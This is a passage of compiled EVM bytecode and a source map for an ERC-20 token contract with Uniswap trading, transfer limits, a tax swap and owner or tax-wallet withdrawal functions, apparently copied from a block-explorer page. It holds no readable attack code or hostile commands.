565b509250929050565b5f82611b7757506001610644565b81611b8357505f610644565b8160018114611b995760028114611ba357611bbf565b6001915050610644565b60ff841115611bb457611bb4611b13565b50506001821b610644565b5060208310610133831016604e8410600b8410161715611be2575081810a610644565b611bec8383611b27565b805f1904821115611bff57611bff611b13565b029392505050565b5f61189960ff841683611b69565b808202811582820484141761064457610644611b13565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c71575f80fd5b8151611899816119c0565b5f805f60608486031215611c8e575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561064457610644611b13565b5f60018201611ccb57611ccb611b13565b5060010190565b8181038181111561064457610644611b13565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611d8457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024ebdd072945080c1430acb23f938dd4db9a66ecb6e27bb242a6beb56ccf25d464736f6c63430008180033

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063715018a6116100cd578063a9059cbb11610087578063c9567bf911610062578063c9567bf914610400578063dd62ed3e14610414578063f5648a4f14610458578063ffb54a991461046c575f80fd5b8063a9059cbb14610396578063ad5dff73146103b5578063bf474bed146103ec575f80fd5b8063715018a614610328578063751039fc1461033c5780637d1db4a5146103505780638da5cb5b146103655780638f9a55c01461038157806395d89b4114610190575f80fd5b8063231b02681161011e578063231b02681461027257806323b872dd14610287578063313ce567146102a657806349bd5a5e146102c157806351bc3c85146102e057806370a08231146102f4575f80fd5b8063068acf6c1461016f57806306fdde0314610190578063095ea7b3146101ce5780630faee56f146101fd5780631694505e1461021f57806318160ddd1461025e575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5061018e6101893660046119d7565b61048c565b005b34801561019b575f80fd5b50604080518082018252600781526622aa2422a627a760c91b602082015290516101c591906119f2565b60405180910390f35b3480156101d9575f80fd5b506101ed6101e8366004611a3e565b610634565b60405190151581526020016101c5565b348015610208575f80fd5b5061021161064a565b6040519081526020016101c5565b34801561022a575f80fd5b50610246737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016101c5565b348015610269575f80fd5b50610211610667565b34801561027d575f80fd5b5061021160125481565b348015610292575f80fd5b506101ed6102a1366004611a68565b610688565b3480156102b1575f80fd5b50604051600981526020016101c5565b3480156102cc575f80fd5b50601154610246906001600160a01b031681565b3480156102eb575f80fd5b5061018e6106ef565b3480156102ff575f80fd5b5061021161030e3660046119d7565b6001600160a01b03165f9081526001602052604090205490565b348015610333575f80fd5b5061018e61073c565b348015610347575f80fd5b5061018e6107ad565b34801561035b575f80fd5b50610211600f5481565b348015610370575f80fd5b505f546001600160a01b0316610246565b34801561038c575f80fd5b5061021160105481565b3480156103a1575f80fd5b506101ed6103b0366004611a3e565b61086b565b3480156103c0575f80fd5b506101ed6103cf3660046119d7565b6001600160a01b03165f9081526005602052604090205460ff1690565b3480156103f7575f80fd5b50610211610877565b34801561040b575f80fd5b5061018e610891565b34801561041f575f80fd5b5061021161042e366004611aa6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610463575f80fd5b5061018e610c4b565b348015610477575f80fd5b506011546101ed90600160a01b900460ff1681565b6006546001600160a01b0316336001600160a01b0316146104ab575f80fd5b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156104ef573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105139190611add565b116105545760405162461bcd60e51b815260206004820152600c60248201526b5a65726f2062616c616e636560a01b60448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156105a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c49190611add565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af115801561060c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106309190611af4565b5050565b5f610640338484610cbc565b5060015b92915050565b6106566009600a611c07565b61066490630a21fe80611c15565b81565b5f6106746009600a611c07565b610683906402540be400611c15565b905090565b5f610694848484610ddf565b6106e584336106e085604051806060016040528060288152602001611d8a602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061162a565b610cbc565b5060019392505050565b6006546001600160a01b0316336001600160a01b03161461070e575f80fd5b305f90815260016020526040902054801561072c5761072c81611662565b4780156106305761063081611802565b5f546001600160a01b031633146107655760405162461bcd60e51b815260040161054b90611c2c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107d65760405162461bcd60e51b815260040161054b90611c2c565b6107e26009600a611c07565b6107f1906402540be400611c15565b600f556108006009600a611c07565b61080f906402540be400611c15565b6010556004805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108496009600a611c07565b610858906402540be400611c15565b60405190815260200160405180910390a1565b5f610640338484610ddf565b6108836009600a611c07565b610664906301c9c380611c15565b5f546001600160a01b031633146108ba5760405162461bcd60e51b815260040161054b90611c2c565b601154600160a01b900460ff16156109145760405162461bcd60e51b815260206004820152601860248201527f74726164696e6720697320616c7265616479206f70656e2e0000000000000000604482015260640161054b565b61094830737a250d5630b4cf539739df2c5dacb4c659f2488d6109396009600a611c07565b6106e0906402540be400611c15565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610998573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bc9190611c61565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3f9190611c61565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aad9190611c61565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f80610b0e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b74573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b999190611c7c565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610bfe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c229190611af4565b50436012556013805461ff0019166101001790556011805460ff60a01b1916600160a01b179055565b6006546001600160a01b0316336001600160a01b031614610c6a575f80fd5b60405147905f90339083905b5f6040518083038185875af1925050503d805f8114610cb0576040519150601f19603f3d011682016040523d82523d5f602084013e610cb5565b606091505b5050505050565b6001600160a01b038316610d1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054b565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054b565b6001600160a01b038216610ea55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054b565b5f8111610f065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054b565b5f80546001600160a01b03858116911614801590610f3157505f546001600160a01b03848116911614155b156112ab57610f626064610f5c600b54600e5411610f5157600754610f55565b6009545b859061181b565b906118a0565b60045490915060ff1615611057576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610fab57506011546001600160a01b03848116911614155b1561105757325f9081526003602052604090205443116110455760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722064656c617920656e61626c60448201527f6564202d206f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161054b565b325f9081526003602052604090204390555b6011546001600160a01b03858116911614801561109157506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b80156110b557506001600160a01b0383165f9081526005602052604090205460ff16155b1561119b57600f5482111561110c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161054b565b6010548261112e856001600160a01b03165f9081526001602052604090205490565b6111389190611ca7565b11156111865760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161054b565b600e8054905f61119583611cba565b91905055505b6011546001600160a01b0384811691161480156111c157506001600160a01b0384163014155b156111ee576111eb6064610f5c600c54600e54116111e157600854610f55565b600a54859061181b565b90505b305f9081526001602052604090205460135460ff1615801561121d57506011546001600160a01b038581169116145b80156112305750601354610100900460ff165b801561125457506112436009600a611c07565b611251906301c9c380611c15565b81115b80156112635750600d54600e54115b156112a9576112976112928461128d8461127f6009600a611c07565b61128d90630a21fe80611c15565b6118e1565b611662565b4780156112a7576112a747611802565b505b505b6001600160a01b0384165f9081526005602052604090205460ff16806112e857506001600160a01b0383165f9081526005602052604090205460ff165b801561130157505f546001600160a01b03858116911614155b801561131657506001600160a01b0384163014155b801561132b57506001600160a01b0383163014155b1561133557426014555b6001600160a01b0384165f9081526005602052604090205460ff16801561136a5750600c546012546113679190611ca7565b43115b156113de576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113d09086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526005602052604090205460ff1615801561141e57506001600160a01b0383165f9081526005602052604090205460ff16155b156114f6576011546001600160a01b038481169116146114c3576001600160a01b038084165f908152601560205260409020601154909186811691160361148b5780545f0361148657600d54600e54106114785742611483565b611483600142611cd2565b81555b6114bd565b6001600160a01b0385165f908152601560205260409020815415806114b1575081548154105b156114bb57805482555b505b506114f6565b6001600160a01b0384165f90815260156020526040902060145481546114e99190611cd2565b6002820155426001909101555b801561156e57305f9081526001602052604090205461151590826118f5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115659085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546115909083611953565b6001600160a01b0385165f908152600160205260409020556115d36115b58383611953565b6001600160a01b0385165f90815260016020526040902054906118f5565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61161c8585611953565b6040519081526020016113d0565b5f818484111561164d5760405162461bcd60e51b815260040161054b91906119f2565b505f6116598486611cd2565b95945050505050565b6013805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106116a2576116a2611ce5565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611712573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117369190611c61565b8160018151811061174957611749611ce5565b60200260200101906001600160a01b031690816001600160a01b03168152505061178830737a250d5630b4cf539739df2c5dacb4c659f2488d84610cbc565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117c79085905f90869030904290600401611cf9565b5f604051808303815f87803b1580156117de575f80fd5b505af11580156117f0573d5f803e3d5ffd5b50506013805460ff1916905550505050565b6006546040515f916001600160a01b0316908390610c76565b5f825f0361182a57505f610644565b5f6118358385611c15565b9050826118428583611d6a565b146118995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054b565b9392505050565b5f61189983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611994565b5f8183116118ef5782611899565b50919050565b5f806119018385611ca7565b9050838110156118995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054b565b5f61189983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061162a565b5f81836119b45760405162461bcd60e51b815260040161054b91906119f2565b505f6116598486611d6a565b6001600160a01b03811681146119d4575f80fd5b50565b5f602082840312156119e7575f80fd5b8135611899816119c0565b5f602080835283518060208501525f5b81811015611a1e57858101830151858201604001528201611a02565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215611a4f575f80fd5b8235611a5a816119c0565b946020939093013593505050565b5f805f60608486031215611a7a575f80fd5b8335611a85816119c0565b92506020840135611a95816119c0565b929592945050506040919091013590565b5f8060408385031215611ab7575f80fd5b8235611ac2816119c0565b91506020830135611ad2816119c0565b809150509250929050565b5f60208284031215611aed575f80fd5b5051919050565b5f60208284031215611b04575f80fd5b81518015158114611899575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b6157815f1904821115611b4757611b47611b13565b80851615611b5457918102915b93841c9390800290611b2c565b509250929050565b5f82611b7757506001610644565b81611b8357505f610644565b8160018114611b995760028114611ba357611bbf565b6001915050610644565b60ff841115611bb457611bb4611b13565b50506001821b610644565b5060208310610133831016604e8410600b8410161715611be2575081810a610644565b611bec8383611b27565b805f1904821115611bff57611bff611b13565b029392505050565b5f61189960ff841683611b69565b808202811582820484141761064457610644611b13565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c71575f80fd5b8151611899816119c0565b5f805f60608486031215611c8e575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561064457610644611b13565b5f60018201611ccb57611ccb611b13565b5060010190565b8181038181111561064457610644611b13565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611d8457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024ebdd072945080c1430acb23f938dd4db9a66ecb6e27bb242a6beb56ccf25d464736f6c63430008180033

Deployed Bytecode Sourcemap

3752:10283:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13751:281;;;;;;;;;;-1:-1:-1;13751:281:0;;;;;:::i;:::-;;:::i;:::-;;5979:83;;;;;;;;;;-1:-1:-1;6049:5:0;;;;;;;;;;;-1:-1:-1;;;6049:5:0;;;;5979:83;;;;6049:5;5979:83;:::i;:::-;;;;;;;;6812:161;;;;;;;;;;-1:-1:-1;6812:161:0;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;6812:161:0;1275:187:1;5078:62:0;;;;;;;;;;;;;:::i;:::-;;;1613:25:1;;;1601:2;1586:18;5078:62:0;1467:177:1;4513:131:0;;;;;;;;;;;;4595:42;4513:131;;;;;-1:-1:-1;;;;;1839:32:1;;;1821:51;;1809:2;1794:18;4513:131:0;1649:229:1;6256:95:0;;;;;;;;;;;;;:::i;5212:25::-;;;;;;;;;;;;;;;;6981:313;;;;;;;;;;-1:-1:-1;6981:313:0;;;;;:::i;:::-;;:::i;6165:83::-;;;;;;;;;;-1:-1:-1;6165:83:0;;4758:1;2486:36:1;;2474:2;2459:18;6165:83:0;2344:184:1;5147:28:0;;;;;;;;;;-1:-1:-1;5147:28:0;;;;-1:-1:-1;;;;;5147:28:0;;;13154:348;;;;;;;;;;;;;:::i;6359:119::-;;;;;;;;;;-1:-1:-1;6359:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6452:18:0;6425:7;6452:18;;;:9;:18;;;;;;;6359:119;2835:148;;;;;;;;;;;;;:::i;12130:199::-;;;;;;;;;;;;;:::i;4878:55::-;;;;;;;;;;;;;;;;2621:79;;;;;;;;;;-1:-1:-1;2659:7:0;2686:6;-1:-1:-1;;;;;2686:6:0;2621:79;;4940:57;;;;;;;;;;;;;;;;6486:167;;;;;;;;;;-1:-1:-1;6486:167:0;;;;;:::i;:::-;;:::i;11526:105::-;;;;;;;;;;-1:-1:-1;11526:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;11603:20:0;11579:4;11603:20;;;:14;:20;;;;;;;;;11526:105;5004:67;;;;;;;;;;;;;:::i;12492:617::-;;;;;;;;;;;;;:::i;6661:143::-;;;;;;;;;;-1:-1:-1;6661:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6769:18:0;;;6742:7;6769:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6661:143;13510:233;;;;;;;;;;;;;:::i;5182:23::-;;;;;;;;;;-1:-1:-1;5182:23:0;;;;-1:-1:-1;;;5182:23:0;;;;;;13751:281;13839:10;;-1:-1:-1;;;;;13839:10:0;183;-1:-1:-1;;;;;13825:24:0;;13817:33;;;;;;13869:41;;-1:-1:-1;;;13869:41:0;;13904:4;13869:41;;;1821:51:1;13913:1:0;;-1:-1:-1;;;;;13869:26:0;;;;;1794:18:1;;13869:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;13861:70;;;;-1:-1:-1;;;13861:70:0;;3525:2:1;13861:70:0;;;3507:21:1;3564:2;3544:18;;;3537:30;-1:-1:-1;;;3583:18:1;;;3576:42;3635:18;;13861:70:0;;;;;;;;;13982:41;;-1:-1:-1;;;13982:41:0;;14017:4;13982:41;;;1821:51:1;-1:-1:-1;;;;;13944:25:0;;;;;13970:10;;13944:25;;13982:26;;1794:18:1;;13982:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13944:80;;-1:-1:-1;;;;;;13944:80:0;;;;;;;-1:-1:-1;;;;;3856:32:1;;;13944:80:0;;;3838:51:1;3905:18;;;3898:34;3811:18;;13944:80:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13751:281;:::o;6812:161::-;6887:4;6904:39;183:10;6927:7;6936:6;6904:8;:39::i;:::-;-1:-1:-1;6961:4:0;6812:161;;;;;:::o;5078:62::-;5127:13;4758:1;5127:2;:13;:::i;:::-;5115:25;;:9;:25;:::i;:::-;5078:62;:::o;6256:95::-;6309:7;4703:13;4758:1;4703:2;:13;:::i;:::-;4688:28;;:11;:28;:::i;:::-;6329:14;;6256:95;:::o;6981:313::-;7079:4;7096:36;7106:6;7114:9;7125:6;7096:9;:36::i;:::-;7143:121;7152:6;183:10;7174:89;7212:6;7174:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7174:19:0;;;;;;:11;:19;;;;;;;;183:10;7174:33;;;;;;;;;;:37;:89::i;:::-;7143:8;:121::i;:::-;-1:-1:-1;7282:4:0;6981:313;;;;;:::o;13154:348::-;13218:10;;-1:-1:-1;;;;;13218:10:0;183;-1:-1:-1;;;;;13204:24:0;;13196:33;;;;;;13279:4;13240:20;6452:18;;;:9;:18;;;;;;13299:14;;13296:73;;13327:30;13344:12;13327:16;:30::i;:::-;13398:21;13433:12;;13430:65;;13459:24;13472:10;13459:12;:24::i;2835:148::-;2748:6;;-1:-1:-1;;;;;2748:6:0;183:10;2748:22;2740:67;;;;-1:-1:-1;;;2740:67:0;;;;;;;:::i;:::-;2942:1:::1;2926:6:::0;;2905:40:::1;::::0;-1:-1:-1;;;;;2926:6:0;;::::1;::::0;2905:40:::1;::::0;2942:1;;2905:40:::1;2973:1;2956:19:::0;;-1:-1:-1;;;;;;2956:19:0::1;::::0;;2835:148::o;12130:199::-;2748:6;;-1:-1:-1;;;;;2748:6:0;183:10;2748:22;2740:67;;;;-1:-1:-1;;;2740:67:0;;;;;;;:::i;:::-;4703:13:::1;4758:1;4703:2;:13;:::i;:::-;4688:28;::::0;:11:::1;:28;:::i;:::-;12185:12;:21:::0;4703:13:::1;4758:1;4703:2;:13;:::i;:::-;4688:28;::::0;:11:::1;:28;:::i;:::-;12217:14;:23:::0;12251:20:::1;:27:::0;;-1:-1:-1;;12251:27:0::1;::::0;;12294::::1;4703:13;4758:1;4703:2;:13;:::i;:::-;4688:28;::::0;:11:::1;:28;:::i;:::-;12294:27;::::0;1613:25:1;;;1601:2;1586:18;12294:27:0::1;;;;;;;12130:199::o:0;6486:167::-;6564:4;6581:42;183:10;6605:9;6616:6;6581:9;:42::i;5004:67::-;5058:13;4758:1;5058:2;:13;:::i;:::-;5047:24;;:8;:24;:::i;12492:617::-;2748:6;;-1:-1:-1;;;;;2748:6:0;183:10;2748:22;2740:67;;;;-1:-1:-1;;;2740:67:0;;;;;;;:::i;:::-;12556:11:::1;::::0;-1:-1:-1;;;12556:11:0;::::1;;;12555:12;12547:48;;;::::0;-1:-1:-1;;;12547:48:0;;6470:2:1;12547:48:0::1;::::0;::::1;6452:21:1::0;6509:2;6489:18;;;6482:30;6548:26;6528:18;;;6521:54;6592:18;;12547:48:0::1;6268:348:1::0;12547:48:0::1;12606:58;12623:4;4595:42;4703:13;4758:1;4703:2;:13;:::i;:::-;4688:28;::::0;:11:::1;:28;:::i;12606:58::-;4595:42;-1:-1:-1::0;;;;;12709:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12691:55:0::1;;12755:4;4595:42;-1:-1:-1::0;;;;;12762:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12691:94;::::0;-1:-1:-1;;;;;;12691:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7107:15:1;;;12691:94:0::1;::::0;::::1;7089:34:1::0;7159:15;;7139:18;;;7132:43;7024:18;;12691:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12675:13;:110:::0;;-1:-1:-1;;;;;;12675:110:0::1;-1:-1:-1::0;;;;;12675:110:0;;;::::1;::::0;;;::::1;::::0;;12866:4:::1;-1:-1:-1::0;6452:18:0;;;-1:-1:-1;6452:18:0;;;;;;4595:42:::1;::::0;12796:31:::1;::::0;12835:21:::1;::::0;12866:4;12897:1:::1;12899::::0;12901:7:::1;2659::::0;2686:6;-1:-1:-1;;;;;2686:6:0;;2621:79;12901:7:::1;12796:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12796:129:0;;;-1:-1:-1;;;;;7545:15:1;;;12796:129:0::1;::::0;::::1;7527:34:1::0;7577:18;;;7570:34;;;;7620:18;;;7613:34;;;;7663:18;;;7656:34;7727:15;;;7706:19;;;7699:44;12909:15:0::1;7759:19:1::0;;;7752:35;7461:19;;12796:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12943:13:0::1;::::0;12936:71:::1;::::0;-1:-1:-1;;;12936:71:0;;4595:42:::1;12936:71;::::0;::::1;3838:51:1::0;-1:-1:-1;;3905:18:1;;;3898:34;-1:-1:-1;;;;;12943:13:0;;::::1;::::0;-1:-1:-1;12936:29:0::1;::::0;3811:18:1;;12936:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13031:12:0::1;13018:10;:25:::0;13054:11:::1;:18:::0;;-1:-1:-1;;13054:18:0::1;;;::::0;;13083:11:::1;:18:::0;;-1:-1:-1;;;;13083:18:0::1;-1:-1:-1::0;;;13083:18:0::1;::::0;;12492:617::o;13510:233::-;13580:10;;-1:-1:-1;;;;;13580:10:0;183;-1:-1:-1;;;;;13566:24:0;;13558:33;;;;;;13688:47;;13621:21;;13602:18;;13696:10;;13621:21;;13688:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13510:233:0:o;7302:335::-;-1:-1:-1;;;;;7395:19:0;;7387:68;;;;-1:-1:-1;;;7387:68:0;;8521:2:1;7387:68:0;;;8503:21:1;8560:2;8540:18;;;8533:30;8599:34;8579:18;;;8572:62;-1:-1:-1;;;8650:18:1;;;8643:34;8694:19;;7387:68:0;8319:400:1;7387:68:0;-1:-1:-1;;;;;7474:21:0;;7466:68;;;;-1:-1:-1;;;7466:68:0;;8926:2:1;7466:68:0;;;8908:21:1;8965:2;8945:18;;;8938:30;9004:34;8984:18;;;8977:62;-1:-1:-1;;;9055:18:1;;;9048:32;9097:19;;7466:68:0;8724:398:1;7466:68:0;-1:-1:-1;;;;;7545:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7597:32;;1613:25:1;;;7597:32:0;;1586:18:1;7597:32:0;;;;;;;7302:335;;;:::o;7645:3765::-;-1:-1:-1;;;;;7733:18:0;;7725:68;;;;-1:-1:-1;;;7725:68:0;;9329:2:1;7725:68:0;;;9311:21:1;9368:2;9348:18;;;9341:30;9407:34;9387:18;;;9380:62;-1:-1:-1;;;9458:18:1;;;9451:35;9503:19;;7725:68:0;9127:401:1;7725:68:0;-1:-1:-1;;;;;7812:16:0;;7804:64;;;;-1:-1:-1;;;7804:64:0;;9735:2:1;7804:64:0;;;9717:21:1;9774:2;9754:18;;;9747:30;9813:34;9793:18;;;9786:62;-1:-1:-1;;;9864:18:1;;;9857:33;9907:19;;7804:64:0;9533:399:1;7804:64:0;7896:1;7887:6;:10;7879:64;;;;-1:-1:-1;;;7879:64:0;;10139:2:1;7879:64:0;;;10121:21:1;10178:2;10158:18;;;10151:30;10217:34;10197:18;;;10190:62;-1:-1:-1;;;10268:18:1;;;10261:39;10317:19;;7879:64:0;9937:405:1;7879:64:0;7954:17;2686:6;;-1:-1:-1;;;;;7988:15:0;;;2686:6;;7988:15;;;;:32;;-1:-1:-1;2659:7:0;2686:6;-1:-1:-1;;;;;8007:13:0;;;2686:6;;8007:13;;7988:32;7984:1694;;;8049:76;8121:3;8049:67;8071:15;;8061:9;;:25;8060:55;;8101:14;;8060:55;;;8088:12;;8060:55;8049:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8146:20;;8037:88;;-1:-1:-1;8146:20:0;;8142:508;;;-1:-1:-1;;;;;8193:30:0;;4595:42;8193:30;;;;:62;;-1:-1:-1;8241:13:0;;-1:-1:-1;;;;;8227:28:0;;;8241:13;;8227:28;;8193:62;8189:444;;;8347:9;8318:39;;;;:28;:39;;;;;;8391:12;-1:-1:-1;8282:250:0;;;;-1:-1:-1;;;8282:250:0;;10549:2:1;8282:250:0;;;10531:21:1;10588:2;10568:18;;;10561:30;10627:34;10607:18;;;10600:62;10698:34;10678:18;;;10671:62;-1:-1:-1;;;10749:19:1;;;10742:40;10799:19;;8282:250:0;10347:477:1;8282:250:0;8586:9;8557:39;;;;:28;:39;;;;;8599:12;8557:54;;8189:444;8678:13;;-1:-1:-1;;;;;8670:21:0;;;8678:13;;8670:21;:55;;;;-1:-1:-1;;;;;;8695:30:0;;4595:42;8695:30;;8670:55;:79;;;;-1:-1:-1;;;;;;8731:18:0;;;;;;:14;:18;;;;;;;;8729:20;8670:79;8666:308;;;8789:12;;8779:6;:22;;8771:60;;;;-1:-1:-1;;;8771:60:0;;11031:2:1;8771:60:0;;;11013:21:1;11070:2;11050:18;;;11043:30;11109:27;11089:18;;;11082:55;11154:18;;8771:60:0;10829:349:1;8771:60:0;8882:14;;8872:6;8858:13;8868:2;-1:-1:-1;;;;;6452:18:0;6425:7;6452:18;;;:9;:18;;;;;;;6359:119;8858:13;:20;;;;:::i;:::-;:38;;8850:77;;;;-1:-1:-1;;;8850:77:0;;11515:2:1;8850:77:0;;;11497:21:1;11554:2;11534:18;;;11527:30;11593:28;11573:18;;;11566:56;11639:18;;8850:77:0;11313:350:1;8850:77:0;8946:9;:12;;;:9;:12;;;:::i;:::-;;;;;;8666:308;8999:13;;-1:-1:-1;;;;;8993:19:0;;;8999:13;;8993:19;:43;;;;-1:-1:-1;;;;;;9016:20:0;;9031:4;9016:20;;8993:43;8990:173;;;9068:79;9143:3;9068:70;9090:16;;9080:9;;:26;9079:58;;9122:15;;9079:58;;;9108:13;;9068:6;;:10;:70::i;:79::-;9057:90;;8990:173;9228:4;9179:28;6452:18;;;:9;:18;;;;;;9254:6;;;;9253:7;:29;;;;-